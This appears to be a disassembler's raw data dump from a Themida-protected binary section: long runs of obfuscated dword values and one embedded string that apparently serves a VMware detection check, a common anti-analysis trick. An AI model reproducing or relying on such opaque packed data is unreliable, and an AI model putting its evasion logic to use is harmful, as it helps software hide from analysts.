2474895Eh, 24448104h, 1904h dd 0C3564600h, 8BB6A915h, 0BD895315h, 5E72659h, 0DE9h dd 5E9C3000h, 20A02002h, 0B8E8159Eh, 85C75DA3h, 5E70C99h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 13C35646h dd 5DDB8526h, 3953C55Fh, 13E941h, 1D980000h, 1B998695h dd 49E75E3Bh, 865CD10Bh, 9D3E0532h, 65B5FF7Ch, 6A05E72Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0CF30C353h, 13F429A2h, 32CD95FFh, 6A05E7h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 1934D9C3h, 24233FDFh, 6AF88AF5h, 1D95FF00h, 8B05E71Ah dd 1179EBC0h, 0A21E157Ch, 0C2CAFEA2h, 0F35D6709h, 1F18C233h dd 0E4D73DFEh, 447A338Bh, 9413990Eh, 0ED61F6A6h, 60D337F4h dd 76EB6F32h, 0E48A81CEh, 0C9D4831Ch, 0FE0D81DBh, 78E60903h dd 0DC67D2A6h, 28BD378Eh, 74FB3B66h, 2D0DF6BAh, 0FE0244BEh dd 860C002Ah, 2ABD262h, 5B0D8C2Bh, 3D79FC14h, 6C07EC38h dd 1C5CA77Ah, 7189829Bh, 0B4829C94h, 5B32B41Bh, 0D54A7963h dd 6E562FB6h, 0D4712ADEh, 0DC4B46D4h, 0C8557F01h, 98525CD4h dd 0A90B3363h, 982633A9h, 5E265AF1h, 7F21CAEFh, 0B44E6030h dd 67A5E4FFh, 7F0BF6F8h, 0FBA3BEA3h, 6723D92Ah, 0FDA3BA79h dd 1B23D4DFh, 7F1532D7h, 1D293330h, 98263383h, 0AFDDB6C0h dd 1576364Ah, 7411DED6h, 0DD963ACh, 9DC138B1h, 98266483h dd 15235935h, 7411CE1Fh, 1DAB6348h, 9DCA044Bh, 19B3CC03h dd 9323D4A1h, 0A1A23C14h, 1526336Ah, 7411CEB0h, 0AACE639Fh dd 0D826334Dh, 9BA3BEF6h, 0C823DF6Bh, 0AFDBB624h, 67763638h dd 7F201AFFh, 94E2B030h, 0AFDBB617h, 157636A1h, 7411DE23h dd 0DD96356h, 9DC138CCh, 9826513Dh, 74AD666Ah, 0CE746464h dd 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h, 97260CD3h, 67D9C62Ch dd 13EF002Bh, 0B2CF3B17h, 0AB263335h, 1831B948h, 68AD03A7h dd 5AAD63E8h, 982C8800h, 9BCF33A9h, 6F2633D4h dword_591B68 dd 66A57D89h, 6CA13C35h, 0C3D9CC65h, 0DF7EFB4Eh, 97E638EEh ; DATA XREF: Themida_:00560F4Do dd 67D9FDD6h, 0C6E7B856h, 517F6C8Eh, 152637A8h, 7411D888h dd 0B8ABBE9Fh, 2023DF74h, 93h, 71E7FC78h, 0D0073102h, 4C783C8h dd 0F2850F49h, 8DFFFFFFh, 0EC3920B5h, 3F8D8D05h, 2B05EC39h dd 5E983CFh, 0DE8C88Bh, 0C8000000h, 1C646C59h, 0DDD4E703h dd 0EF30223h, 13E9h, 0E6D15500h, 76B79A30h, 0AC741532h dd 0FCBDA3D8h, 0ABA57B70h, 9BD895Ah, 8105E72Eh, 6FF5C2h dd 6860F00h, 1000000h, 0E72B5D95h, 0F6D0B905h, 0E9813D2Eh dd 3D2EDAFBh, 8BD9B70Fh, 0A1B58932h, 8105E722h, 0E5DFA8F6h dd 0BA666063h, 858BECAEh, 5E727B9h, 0EFC68161h, 8B4FFADEh dd 0E72C8DBDh, 9EF68105h, 6679CB38h, 293CDF81h, 17C9BF56h dd 28F0D24h, 2BAD9D8Bh, 0EA8305E7h, 0D7816604h, 0E9814B5Dh dd 1, 0FFAD850Fh, 0B509FFFFh, 5E70C11h, 0D9BC5420h, 0E349AD9h dd 1329594h, 18AD3B08h, 8235D525h, 0E61A07BFh, 853F3204h dd 1303290h, 801A7C9h, 88D937C7h, 67303212h, 0C598D089h dd 2534BB54h, 0E9633268h, 1303202h, 5AF369A0h, 5146EC9h dd 51476A1h, 1303206h, 0FF3614Bh, 675095E5h, 0E21AEB83h dd 13021E8h, 0BFF48280h, 3361195Dh, 26DF7556h, 0E6E9815Ah dd 80C3D9D2h, 4D313D65h, 15ACC26h, 133DA57h, 5F103280h dd 75B96C83h, 45B13604h, 1293634h, 57763208h, 7C4C4C7h dd 574FA256h, 0B4036CFDh, 4D730B1h, 52305818h, 13031C8h dd 0C26B1210h, 256CBB53h, 2574B300h, 1302406h, 0C2637101h dd 8A1DC7D7h, 0E63417DDh, 7B93D25h, 0A303210h, 0E63AC7B5h dd 0F98F3D01h, 0E81CF281h, 1303208h, 1BA2E240h, 0B217AC22h dd 0F3873D84h, 15A3A9Bh, 133DA5Ah, 5B103204h, 55B968C1h dd 45B13625h, 12736A4h, 53723240h, 0C11CEFE3h, 0BCAD1BB8h dd 6735D521h, 0E93EEC85h, 0FD78B964h, 13026E9h, 39C07380h dd 99ED61E9h, 2D2E8512h, 0F9E7136Bh, 0FEF89C7Bh, 0ABC2891Ch dd 676E5BB4h, 0FE060B80h, 0B68Fh, 15A3240h, 133DA73h, 5A103210h dd 5DB969CBh, 45B13620h, 1253626h, 52733201h, 67B04343h dd 255DD8C1h, 6B39F3A3h, 2D86210h, 21303208h, 8868F15Ch dd 80341646h, 1A341645h, 41303280h, 94EBF110h, 53020714h dd 38B06F3Dh, 20B53DE1h, 6B303205h, 2D86202h, 21303201h dd 8868F1D8h, 80341604h, 1A341664h, 41303210h, 0DB9DF158h dd 0C3B9271Dh, 40BBFA84h, 52305800h, 1303168h, 0C26B1240h dd 256CBB7Bh, 2574B314h, 1302E0Ch, 0C2637104h, 0D55C9B39h dd 64CCF2C1h, 7B13DBDh, 8A303240h, 0E63F439Dh, 6BF83115h dd 2D86508h, 21303204h, 886FF15Dh, 8034167Dh, 1B3416C4h dd 46303240h, 4427F177h, 0B11CDF79h, 20851BDAh, 8A35D527h dd 0E623EF9Fh, 4F1B104h, 0E96532EAh, 1303243h, 5CF36F00h dd 5145E99h, 5147689h, 130321Dh, 0D2F36747h, 8A2A078Dh dd 9109B3D9h, 0EBB710Bh, 13059A5h, 50305810h, 13031E0h dd 0C2691204h, 257CBB5Bh, 2574B305h, 1302984h, 0C2617340h dd 372B3C76h, 91147A06h, 0AC5A721h, 8CBD37E3h, 4D77FF8h dd 288FDB3h, 6B303280h, 2D86440h, 21303220h, 886EF14Eh dd 8034167Ch, 18341640h, 47303202h, 0D279F157h, 0A5DEEC32h dd 1D7D8FCBh, 8C0137C7h, 4D729F1h, 9C1BD3F7h, 4D71C59h dd 54305863h, 13031E9h, 0C26D1280h, 255CBB1Dh, 2574B324h dd 1302E14h, 0C2657708h, 0F61BB958h, 0D0EFD984h, 80AD1BC9h dd 0E935D58Ch, 1303250h, 0E885C17Fh, 1869CD1Fh, 66486F02h dd 0F6E74446h, 120BE0Dh, 0AD93201h, 85303280h, 0F2A7F3EDh dd 62CDCBADh, 8C6ADC6Bh, 0ED09D9B5h, 13BDBF01h, 0B935DE3Fh dd 0A2B175h, 1555B7B3h, 0CE1B37A7h, 0D9BC5420h, 0E349AD9h dd 1329594h, 18AD3B08h, 8235D525h, 0E61A07BFh, 833F3204h dd 0A4F305E9h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 965BD7C3h, 0E266F1A9h, 0BD030401h dd 5E7128Dh, 8E8C38Bh, 8000000h, 0EA4E5EB0h, 0FC119566h dd 13E9605Fh, 0E5000000h, 60B142D8h, 987E5E20h, 9986951Dh dd 0E75E3B1Bh, 52530B49h, 81615F5Fh, 7004C7h, 618D8B00h dd 0BB05E70Bh, 2B177391h, 6840F381h, 0B5092B17h, 5E71295h dd 2CB937FFh, 5842CDC1h, 0F7EBF681h, 0F0813B51h, 19607585h dd 2880C081h, 880F5DFAh, 3, 81D0B70Fh, 14D960E8h, 0E9BD8963h dd 5005E703h, 0F9078FF5h, 0B928EF81h, 95897FA3h, 5E729BDh dd 0B924C781h, 958B7FA3h, 5E72291h, 0F01EB83h, 1A85h, 0D7D28100h dd 0E9187163h, 1Fh, 1D376E81h, 657AD2Ah, 0FF808A05h, 0B2681A80h dd 0FF8AE9E6h, 54EAFFFFh, 0AF0F1904h, 0E8D1FBC6h, 0Ah dd 578F9A98h, 0D10C8178h, 8B167DFh, 0D19D315Ah, 8105E732h dd 6017C2h, 850B5600h, 5E70485h, 6859h, 0C18B0000h, 699D895Eh dd 0FF05E732h, 81661634h, 5FDAFBD1h, 528FF781h, 7E81AE5h dd 81000000h, 990B7116h, 11E8BBB6h, 0D0000000h, 4FFB044Eh dd 72EE8489h, 0EC72C644h, 8765EE01h, 81595BF9h, 70AF29C7h dd 0C9858B6Fh, 8105E72Ch, 0A86B7FEFh, 0C0816650h, 15771EDh dd 0E7278DBDh, 32048F05h, 1671B966h, 0EE81DE8Ah, 1E599818h dd 61858B60h, 6605E721h, 0D4DC081h, 14C68161h, 0E91E5998h dd 9, 0B56504A0h, 0FBF09A4Bh, 0D0FE81EBh, 0FFFFFA0h, 1285h dd 5D8D0100h, 0E905E716h, 23h, 5FB33035h, 33BE9E5Bh, 0E701658Dh dd 0FF55E905h, 0DEBAFFFFh, 7BA00166h, 0F75A9875h, 0F37CC71Fh dd 6DB52740h, 97F6E164h, 725E8877h, 46160999h, 10BF0101h dd 8064606Eh, 34346007h, 42F73824h, 910248Dh, 82102485h dd 43346012h, 0A0F73044h, 6DBF97C4h, 6DD37C71h, 394DDD87h dd 6F3465E3h, 1889E30Dh, 86318718h, 10647970h, 0A28CA08Fh dd 59346000h, 8F27B581h, 0A9ED01h, 0E53189AEh, 8E6C3BD7h dd 612875B9h, 54406001h, 0A28C3354h, 59346000h, 8F27B581h dd 17A9ED01h, 0E53189A3h, 676C3BD7h, 85DC3704h, 63346004h dd 286BA35Bh, 51304478h, 70304440h, 73346004h, 0B3F6A353h dd 86CC7861h, 612371B9h, 13340A01h, 0A13463ECh, 136C4004h dd 4C70E95Ch, 1070E100h, 1A347800h, 0CE642004h, 827A4Ah dd 5E895360h, 0C731872Ah, 0F723A785h, 0D5BFA08Fh, 31D340C1h dd 70ECEC62h, 0EDC3104h, 0A6346004h, 0CA6DA35Dh, 20304448h dd 0CA304440h, 29346004h, 7940A355h, 42D0F6C8h, 0D2488FCh dd 70866004h, 0FF0FC191h, 0EB599ECBh, 3C8576C5h, 0A3B4C84Ah dd 309C3FADh, 19CDE40Bh, 90BF6004h, 83D34D15h, 6901DD87h dd 0AE3465E3h, 0D0347180h, 0D3F7E104h, 0DD6F325Fh, 1A3463DFh dd 0F79F58Fh, 868A65E3h, 29366023h, 0A2DC3104h, 0F0346004h dd 0E16DA35Dh, 0B5304448h, 6304440h, 4C346004h, 22EDA355h dd 0BDBA6546h, 9025351Ah, 3738CD91h, 0A6B1ED01h, 5E318A69h dd 19DC3204h, 2D346004h, 0F6EA35Eh, 0C2304450h, 0BC304440h dd 92346004h, 2AF7A356h, 961454BEh, 62A51640h, 6C540064h dd 0F55A38Fh, 0A421A191h, 71CB0101h, 0C24DF58Dh, 0A8B165E3h dd 34A1E40Bh, 1A5E6004h, 0D378857h, 0DD146004h, 1FBD3BC7h dd 0E5B56420h, 0D02C6420h dd 3B776004h, 44AA6C7h, 0A53BE086h, 5A0CE1CDh, 89CFE162h dd 43344B81h, 20529C04h, 0B6BEA2C6h, 6A301885h, 6BB06F06h dd 4C346007h, 0D3472EDh, 0A0E34F04h, 9A35F1D5h, 0CBF4E71h dd 0F6EC99EAh, 3378C1C8h, 0A80CE162h, 2AB16F64h, 24346004h dd 6111A999h, 0C3EDEB01h, 0AEDC627Ch, 0D0347E81h, 0EDED104h dd 34321885h, 0AB16FAFh, 86346004h, 0B78961CFh, 0AA318718h dd 0A134630Ah, 6EAAA584h, 2E356104h, 343468EDh, 0B0A07704h dd 0C6D52A89h, 48B1ED63h, 0CA318A69h, 46119991h, 0DCDEE101h dd 97155BCFh, 67340AD4h, 1A3463ECh, 0CE6F4004h, 0A268E95Fh dd 6770E100h, 0A1347400h, 13672304h, 0A1B506A0h, 0F4B1BB64h dd 184DE40Bh, 0DDBF6004h, 0BB525885h, 0C63B6206h, 0A134601Ch dd 1FBA59BDh, 6E4CE13Fh, 4E6B5D62h, 18A8E40Bh, 0B0BF6004h dd 83D347B5h, 0DF0CE162h, 3AB16F64h, 0BA346004h, 6BDC3504h dd 14346004h, 9369A359h, 8C304468h, 9D304440h, 6346004h dd 0F9F7A351h, 26C92A95h, 67C1E62Ah, 4CB4B1B3h, 9F3B8806h dd 0D34606Eh, 863470ECh, 4B621104h, 79B6F849h, 3EFF022Dh dd 303290CBh, 343988FEh, 6B4D6004h, 0CE1A1DE0h, 0C6FDB83h dd 0C836A082h, 461F2D99h, 0B66F3B01h, 68321885h, 1BB16FC4h dd 93346004h, 0EA11A181h, 73A9EB01h, 0AA318709h, 0A134620Ah dd 3867606Eh, 68346007h, 6FF73B24h, 1E103C8Dh, 9102485h dd 86346012h, 3AF73347h, 0A18A4FF7h, 0BA4A6105h, 6BDC3004h dd 14346004h, 936CA35Ch, 8C304440h, 93304440h, 3346004h dd 0CA82A354h, 0F1FDDD37h, 0EDB965E3h, 31DE0DCAh, 0F263606Eh dd 0D346007h, 0D9F73F24h, 47101C8Dh, 0A5102485h, 0D034601Fh dd 1DF73743h, 0FF992DCh, 0E528509Ch, 5F340AD4h, 863463ECh dd 806E4004h, 8560E95Eh, 0F470E100h, 68347600h, 0F7662204h dd 93979BECh, 0EA055591h, 558B6F01h, 0C73BA081h, 0A134612Fh dd 3866606Eh, 68346007h, 6EF73A24h, 1E10348Dh, 9102485h dd 86346019h, 15F73246h, 0B6D45536h, 57F3B0FFh, 0B1A1EB8Bh dd 0BE318718h, 0F20CE0F4h, 0DA5E50Bh, 865E6004h, 43378857h dd 0FA146004h, 8CBD3BC7h, 2CB56420h, 34216420h, 49776004h dd 0E437FBC7h, 8634600Eh, 9B3D2D0Fh, 9DEB00D2h, 0D983B644h dd 1B311884h, 346DE50Bh, 1A5E6004h, 0D378853h, 0D9146004h dd 3FBD3FC7h, 0E5B56420h, 0D02F6420h, 3F736004h, 84D9C5C7h dd 0E6823049h, 8DE9D287h, 8967677Ch, 4334B180h, 0F3340A04h dd 0D03463ECh, 0AB6E4004h, 1060E95Eh, 3E70E100h, 0D347600h dd 45662204h, 0C8532D55h, 463CA999h, 9DA1EB01h, 0E318735h dd 31BB5885h, 1A6DE50Bh, 0B0BF6004h, 83D3418Dh, 0DE41DF62h dd 0C9321884h, 0D071E50Bh, 0E5BD6004h, 31D34575h, 114CE162h dd 883B45FBh, 86346037h, 0AB63606Eh, 0A1346007h, 8FF73F24h dd 6C101C8Dh, 30102485h, 1A34601Eh, 0DFF73743h, 255961D9h dd 0C6BD59C4h, 0A4D3466Dh, 0D03429EDh, 2DA16104h, 8C318725h dd 1A346004h, 0E565606Eh, 86346007h, 1AF73924h, 0A5102C8Dh dd 0D4102485h, 68346012h, 70F73145h, 0F264EF94h, 0D34600Eh dd 0BE32B090h, 900E516Bh, 163B8071h, 396E3FFBh, 6834601Ah dd 5C5ED37h, 1B8C65E3h, 0E5346004h, 86346001h, 6829DEC0h dd 8A96B55h, 8A318711h, 0E2A45BB6h, 0BF5430ECh, 0C8C06F6h dd 67A40149h, 85DC3304h, 63346004h, 286FA35Fh, 51304458h dd 7F304440h, 77346004h, 0D6ABA357h, 0B7523DCCh, 3BB9FDF1h dd 46D85F12h, 0E5E1ED89h, 0F38C65E8h, 6B430651h, 0D3216D81h dd 8AFB4B01h, 4A6105A1h, 0DC3004BAh, 3460046Bh, 6CA35C14h dd 30444093h, 3044408Ch, 0E9830493h, 58A4F305h, 89D6BF0Fh dd 0E72C8D8Dh, 0FC00B05h, 1C84h, 0C99D8900h, 8D05E72Bh dd 0E74DFAB5h, 3B805h, 958B0000h, 5E72259h, 0BF0FE6FFh dd 6A40D0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0F48A8DC3h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 149FF7C3h, 1DD8D600h dd 85899E55h, 5E719D1h, 0D79BD83h, 750005E7h, 15BD8309h dd 5E71Ch, 53501974h, 3B8C08Bh, 89000004h, 0E70F2D85h dd 9B9D8D05h, 0FF05E9AAh, 83585BD3h, 0E71C15BDh, 17740005h dd 3B85350h, 89000004h, 0E70F2D85h, 3C9D8D05h, 0FF05E9A7h dd 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 49A8C352h, 6A44C586h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 39CFC356h, 0B77F2485h, 54503BC5h, 0C561A1BAh, 85B58908h dd 8B05E706h, 68E0FC0h, 31000000h, 0E70EF59Dh, 4EB6105h dd 5D938C58h, 5C0E9h, 70467200h, 7B5B73D8h, 79414ED5h dd 7D4148D7h, 7C5A44D3h, 0FEB2C1ECh, 0F9468AB0h, 0F9468AB2h dd 0F75C8CACh, 6A5FF1D5h, 0A4EB5D78h, 0BDE8C699h, 547A52CDh dd 0CBF23A72h, 233A135Dh, 89B1FEC0h, 98B09FB1h, 2572BBFh dd 5F77CCC5h, 7536F67Ah, 53BC8DC3h, 0C6E8200Fh, 4074A38Ch dd 0EED0137Ah, 59A58581h, 2EDBFFEEh, 951BBE66h, 0AEC37536h dd 3610985Dh, 0C213C375h, 0BA9C8CE3h, 0FB4D6810h, 0F8C37536h dd 0BB804CAFh, 0B19EB292h, 0D12B494h, 81E83606h, 24135CA2h dd 25B6CA10h, 260607A5h, 2B0B1D2Ah, 0FCC08BA3h, 8E28460Dh dd 764468A3h, 17EAD417h, 0C3754BA2h, 242CAA3Dh, 67D8E5ACh dd 7E98h, 7A522A00h, 0CFB30654h, 5EC375E2h, 0F818B0Fh dd 3D67D98Eh, 0Dh, 0A1818A95h, 1525125Dh, 5497E0C9h, 44785202h dd 0CE1F635Bh, 7456A1FDh, 0E2268A2Fh, 6AA3C375h, 4415744Ah dd 8CD42A7Bh, 99DB0EB4h, 0B0F34FDBh, 49744A5Dh, 91DE3C0Dh dd 0BF9F8EA8h, 7540106Eh, 0C375DA83h, 4E78B780h, 0D1923208h dd 0D7597CA9h, 0ECC375DAh, 0ECFFB283h, 704C5EEAh, 0C22B7747h dd 0D8F05FF1h, 35B65AF6h, 773DD67Dh, 48ABDB9Bh, 0C11D3D65h dd 0A8F6D4F6h, 91335704h, 90BF91A9h, 7F4896B8h, 0FC2C7332h dd 0C0A584DAh, 0C3756E78h, 0DBC72A7Bh, 634C92E3h, 0CE390529h dd 0E4A0FEDCh, 0B39F23A7h, 486EBC83h, 745C7A6Dh, 67D900ECh dd 0B0F8h, 5F49D600h, 0EBCA237Fh, 566452FFh, 0D6E6D37Ch dd 7C42A188h, 0E8360633h, 50AE8E9Fh, 3B072767h, 43FEE2DBh dd 39F07AC4h, 0DAFF28AEh, 0C3754D56h, 7C331C6Dh, 0F0B86D6Dh dd 754D5325h, 101950C3h, 0B19CDF28h, 567FAF89h, 0A0566505h dd 1C6DBE65h, 0ED3F00CCh, 6A1D39C0h, 116294E4h, 5281FCCDh dd 3F085664h, 66F2C8ECh, 38E025A5h, 75642B9Dh, 0C7D628C3h dd 7FEE9CAAh, 0E1B4F7C0h, 67D96A7Fh, 736Dh, 64527900h dd 0EE3F0856h, 7734F0CEh, 0F1C9F153h, 0A4B76D9h, 75E2D9AFh dd 0B889DAC3h, 0FA240B62h, 0A353E1DCh, 9D69108Bh, 74B7B71Fh dd 44785262h, 0D01F635Bh, 0BA8BD4FAh, 0E22C9164h, 94B7C375h dd 0E204ECC9h, 0CE1FC375h, 6956A1FDh, 2A7B434Fh, 771358D4h dd 0D9E1E0CBh, 0D98E61F3h, 126367h, 0C37B0000h, 0A660D1EDh dd 9B3E90B4h, 0C3755D15h, 0C89EDD2Eh, 9556552h, 0F2C8EE3Eh dd 2F7D1DCEh, 7976DAE2h, 9D389273h, 0C95D1310h, 0DFA1743Ch dd 4AC692D0h, 42937C42h, 0BF6E9878h, 1D589EF4h, 34035FA8h dd 311E3214h, 3D073E17h, 0C7928DACh, 61D5A8F6h dd 4BC692C3h, 0E22A8600h, 0E5270CDCh, 5DD5FDC1h, 92E3E84Ah dd 46B4A10h, 93DC2204h, 7D4A90A4h, 0CE390535h, 4803FFDFh dd 0CD1DF54Eh, 0D861DE20h, 5670FB8Fh, 5C8CD2FAh, 0A79D8F90h dd 30735C78h, 0F1EFEB65h, 16CD961h, 2ED0000h, 12A72FEEh dd 0C95CF725h, 624444EBh, 1D61B203h, 74D4FAD2h, 85D9FD2Fh dd 6E4C92BAh, 0DD211901h, 4B97A792h, 25030F62h, 0ACF2C3E3h dd 0C50E88C3h, 92F608F0h, 0E93A0BC6h, 0D8686EDDh, 6D62EEF0h dd 61F27AF3h, 4CD1h, 65A68900h, 35706645h, 0DF1E3C6Ah dd 6484BA0h, 75E31DB3h, 794596C3h, 75E23C84h, 4D4DFEC3h dd 0B191A098h, 0BBB201C2h, 0E5A64578h, 0AAB0C8EDh, 0E233C375h dd 36FEA66Eh, 75AB1DE3h, 60C516C3h, 0C375AB98h, 686B4A9Bh dd 0D6h, 26EE02BEh, 9E7DF84Ah, 6D65B6DAh, 50D8FDA5h, 0AAC375E3h dd 75E3B90Fh, 9869BAC3h, 0CEB2074Fh, 0C5C375E3h, 0CBD0B9F4h dd 88C95CE9h, 4A6F17BFh, 0C692E5E6h, 9F3AACFDh, 0C692E529h dd 0A49AD92Ah, 0E36D715Bh, 5D4C7454h, 0FBC42579h, 7D073FA7h dd 0A0DEA8EFh, 492C8DE8h, 6FC6922Ch, 1E0E9A3Ch, 955B1038h dd 5571DEF0h, 78DBE37Ch, 44953A37h, 9AA56D69h, 7950AEACh dd 83C1D221h, 0F635CE01h, 850CBA11h, 33864ECCh, 0C8A6884Dh dd 1C206B46h, 4A3E9B33h, 49C8A688h, 61483D78h, 0ED31023Ah dd 5E2D4DE5h, 0EF330B37h, 3E35449Eh, 0A7E1CC2Fh, 5407BB87h dd 61AEF132h, 89671A59h, 351AC284h, 9DEC3212h, 17566452h dd 0B1FFDBB2h, 1B0629C2h, 2273C023h, 0D357A2Eh, 75E2C0A8h dd 0B3F2C3C3h, 953DE00Ch, 6228AD00h, 207C46C9h, 457E3F46h dd 4EB985D6h, 2CD0785Eh, 0F33CEC14h, 6C4F306Fh, 0DB270701h dd 19FE7566h, 5D7D6C1Eh, 4BC990A8h, 121A34DAh, 94ACFCD3h dd 7851ADA9h, 0D27D212Fh, 0B49BDAF8h, 646CB294h, 47DAF3DBh dd 9A9F4AFh, 2B146ABBh, 0B2F1C2E2h, 66684C5Fh, 5E47DDCEh dd 0D615BE37h, 8307D4E8h, 9C7E721h, 0EFDAEA22h, 64A493EFh dd 0DA207142h, 381h, 6F232900h, 0A506652h, 0F7CBEB3Dh dd 5FA38388h, 0CD112510h, 0B886B4E2h, 277B434Fh, 91EDF1D8h dd 7D4179A6h, 0E43A1832h, 0E7895702h, 4C781h, 0EF810000h dd 4, 5C243C87h, 53240489h, 0C381E389h, 4, 8704EB83h, 895C241Ch dd 89562434h, 4C681E6h, 83000000h, 348704EEh, 14895C24h dd 0B8505324h, 7F2873F1h, 780DD8F7h, 35104C3Dh, 9533FB5Fh dd 8958C389h, 8B545BDEh, 0C4812414h, 4, 4D4068h, 24348900h dd 0FF08428Fh, 835A2434h, 348B04C4h, 0E6895624h, 4C681h dd 0C6810000h, 4, 5C243487h, 0FB319EE9h, 0E22E1AFFh, 0B38B64F9h dd 4B4CB848h, 0C50305ECh, 7AC3E0FFh, 13B10D28h, 0BB1761E1h dd 8C9219F0h, 8A76BE3h, 6AA458C0h, 65C06D10h, 9704CAFh dd 0F67F0B55h, 35630762h, 0FF7D679Ah, 13837A78h, 0A5471251h dd 0BC12239Eh, 6748789Fh, 110058FFh, 0C3FA65EDh, 25C24BDBh dd 0E6D9590Fh, 94B00468h, 50194FBDh, 8D8D49BEh, 5EC4D15h dd 89C78B66h, 0E723158Dh, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 9A8DFA4Dh dd 0B76D2DE2h, 0C7BF0FA3h, 8B985C7h, 5A1405E7h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 2EEBE7C3h, 81C67561h, 85C79A52h, 5E70C99h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0DCC35343h dd 3119FEE3h, 8B0F9DBCh, 3, 8BDEB70Fh, 0E7254585h, 19B5FF05h dd 0BA05E72Bh, 74A68C9Eh, 32CD95FFh, 6A05E7h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 818107C3h dd 6ABCB07Bh, 1D95FF00h, 8B05E71Ah, 0F00CEBC0h, 171E7039h dd 9E5D6819h, 8DE25488h, 0EC4DB48Dh, 0F5B86605h, 89AEB3A6h dd 0E723158Dh, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 0C7CF5A40h, 0E708B985h dd 5C0005h, 0EE805100h, 85C75FE2h, 5E70C99h, 0 dd 1F99D8Bh, 0B5FF05E7h, 5E7017Dh, 48F0Fh, 0BA660000h dd 95FF5478h, 5E732CDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0D6C35747h, 2801958Bh, 6A05E7h, 1A1D95FFh dd 0C08B05E7h, 0D04D3BEBh, 13CDDAF9h, 0D12E9B48h, 3EDDB169h dd 12DE8E25h, 7DFB6239h, 0F06712Bh, 7C0C16D2h, 561D4B46h dd 0B841274Ch, 1120D9D2h, 0B1979F30h, 0B4C4F623h, 29198615h dd 994E9F11h, 699D8DD3h, 0B805E717h, 39h, 23398589h, 0E805E7h dd 58000000h, 0D05h, 0E9038900h, 39h, 0Eh dup(77E60000h) dd 0B0E9FFh, 66600000h, 0C2F6DA8Ch, 0C850F04h, 3B000000h dd 0E70C2585h, 36840F05h, 3B000000h, 0E713C585h, 2A840F05h dd 3B000000h, 0E705F185h, 1E840F05h, 3B000000h, 0E70D5D85h dd 12840F05h, 83000000h, 0E71781BDh, 840F0105h, 5, 5FE9h dd 3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h dd 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h dd 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh, 0Fh, 4A04C383h dd 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 0E74DFA9Dh, 5B805h dd 0E3FF0000h, 0D00BC361h, 4FB48D8Dh, 6A05ECh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0E8B986C3h, 0Ah, 47EC78FCh, 0B3A19DF5h, 8C0F9B7Eh, 6 dd 51DBD8Bh, 895A05E7h, 0E723158Dh, 6800F05h, 8B000000h dd 0E72E8595h, 86F68105h, 0C76A9AF0h, 0E708B985h, 662005h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 85C7F0D1h, 5E70C99h, 0 dd 19ED9529h, 0B5FF05E7h, 5E719E5h, 4BDB531h, 95FF05E7h dd 5E732CDh, 0BD99589h, 6A05E7h, 1A1D95FFh, 0C08B05E7h dd 0A2D0BEBh, 0AC1F96E9h, 0ACD438D5h, 566CEBB8h, 7261774Dh dd 6F542065h, 20736C6Fh, 76726553h, 656369h, 13h dup(0) dd 0CA000000h, 140E716h, 0E9000000h, 1045h, 0EC523F68h dd 0F4F5E905h, 5068FFFBh, 0E905EC53h, 0FFFBF4EBh, 0EC551068h dd 0F4E1E905h, 4F68FFFBh, 0E905EC55h, 0FFFBF4D7h, 0EC560868h dd 0F4CDE905h, 9768FFFBh, 0E905EC56h, 0FFFBF4C3h, 0EC5AF668h dd 0F4B9E905h, 8768FFFBh, 0E905EC5Dh, 0FFFBF4AFh, 0EC5ECA68h dd 0F4A5E905h, 47DAFFFBh, 98A385EEh, 0F90E7A43h, 51D5D338h dd 0ABB1B79Ch, 0C97E157Eh, 0B69F4CD0h, 6875AEB2h, 0C02D0A18h dd 0BB805DE0h, 0B7CB8023h, 1C351A20h, 6D663972h, 351A2011h dd 9B30B3BAh, 351A2067h, 0F7A465CCh, 1A77BACEh, 681CD56Ah dd 0A4653F65h, 0D554899Ch, 8A08187h, 1235992Fh, 0B767B768h dd 0A1A48212h, 3557674Ch, 5F460FFEh, 0FE36DDD0h, 2F1DD66Ah dd 0AFDC415h, 4D96DBBh, 11D0235Fh, 0DEA18835h, 11D079F5h dd 8E1BD235h, 0D0EF6FF6h, 42D93511h, 0F309DFE9h, 0D0D915BEh dd 0FB723511h, 0CE87D890h, 3511D0B0h, 654DD01Bh, 0E74317D5h dd 1E8FC257h, 5A747400h, 0F5000000h, 7F7E62E7h, 0B37C34E5h dd 0A60AA6F5h, 0FACEB4E1h, 37F08861h, 31FA1892h, 92A9FF4Eh dd 43C42F59h, 0DD8CFF02h, 4EC25636h, 27121317h, 211D214Fh dd 7DE47D9Bh, 83F35A12h, 0E735115Eh, 13A9FB0Bh, 0ACF790AAh dd 0D3C9F1EAh, 861DB3C9h, 63EE8C1Dh, 74006Eh, 0DEh, 7DB24B47h dd 8A5FE543h, 331B91F2h, 92A66E1Fh, 540109FBh, 2C37B937h dd 1FD0557Bh, 17C458ACh, 6F35925Dh, 42AB8499h, 0F6062819h dd 805DE030h, 9B50EB21h, 